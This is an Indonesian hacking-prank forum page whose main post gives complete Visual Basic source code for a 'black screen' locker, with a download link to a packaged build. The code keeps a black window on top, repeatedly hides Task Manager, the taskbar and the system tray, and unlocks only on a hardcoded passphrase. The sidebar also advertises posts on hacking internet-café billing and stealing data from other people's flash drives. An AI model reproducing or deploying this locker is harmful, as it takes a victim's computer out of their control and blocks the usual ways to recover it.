eZero e-Learning
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Tukeran Link !!!
Latest topics
» Mobile chat avacs
Black Screen Windows I_icon_minitimeSun Apr 03, 2011 2:27 am by not

» Cara Menghack Billing Explorer Warnet
Black Screen Windows I_icon_minitimeThu Apr 22, 2010 1:11 am by admin

» Cara bikin Hang/heng/hank/henk Komputer !!!
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:37 pm by admin

» thumbSUCK Aplikasi Pencuri data dari Flashdisk Orang lain
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:35 pm by admin

» Tutorial Belajar MS.PowerPoint
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:18 pm by admin

» Tutorial Merakit Komputer
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:16 pm by admin

» Know How Programming !!!
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:12 pm by admin

» Cara Mengacaukan Kursor Mouse
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:10 pm by admin

» Black Screen Windows
Black Screen Windows I_icon_minitimeWed Apr 07, 2010 6:08 pm by admin

Navigation
 Portal
 Indeks
 Anggota
 Profil
 FAQ
 Pencarian
User Yang Sedang Online
Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu

Tidak ada

[ View the whole list ]


User online terbanyak adalah 20 pada Wed Oct 11, 2023 7:25 pm
Kotak Komentar
Google Translate
English French German Spain Italian Dutch

Russian Portuguese Japanese Korean Arabic
RSS feeds


Yahoo! 
MSN 
AOL 
Netvibes 
Bloglines 


Affiliates
free forum


Black Screen Windows

Go down

Black Screen Windows Empty Black Screen Windows

Post  admin Wed Apr 07, 2010 6:08 pm

source code Black screen windows
============================================================

Option Explicit
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Private Declare Function Putfocus Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function BringWindowToTop Lib "user32" (ByVal hwnd As Long) As Long

Private Sub Form_Load()
Timer1.Interval = 1
Me.BackColor = vbBlack
Text1.BackColor = vbBlack
Text1.ForeColor = vbGreen
Text1.Left = Screen.Width - Text1.Width
Text1.Top = Screen.Height - Text1.Height
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim H As Long
Timer1.Enabled = False
H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 1

H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 1
' ShowCursor True
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
If UCase(Text1.Text) = "BMB 100% GORONTALO" Then
Unload Me
Else
Text1 = ""
End If
KeyAscii = 0
End If
End Sub

Private Sub Timer1_Timer()
BringWindowToTop Me.hwnd
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
Dim H As Long
H = FindWindow("#32770", "Windows Task Manager")
If H Then ShowWindow H, 0

H = FindWindow("#32771", vbNullString)
If H Then ShowWindow H, 0

H = FindWindow("BaseBar", vbNullString)
If H Then ShowWindow H, 0

H = FindWindow("Shell_TrayWnd", vbNullString)
If H Then ShowWindow H, 0
Rem ShowCursor False 'Jika anda mau menghilangkan cursor, hapus kata REM pada baris ini
Putfocus Text1.hwnd
End Sub
================================================================

klo masih bingung dan blum ngerti langsung downloads saja ...

http://www.ziddu.com/download/9334864/blackLOCKscreenWindows.rar.html
admin
admin
Admin

Jumlah posting : 17
Join date : 31.03.10
Age : 30
Lokasi : Gorontalo

https://ezero.indonesianforum.net & www.kurniawan93.t

Kembali Ke Atas Go down

Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik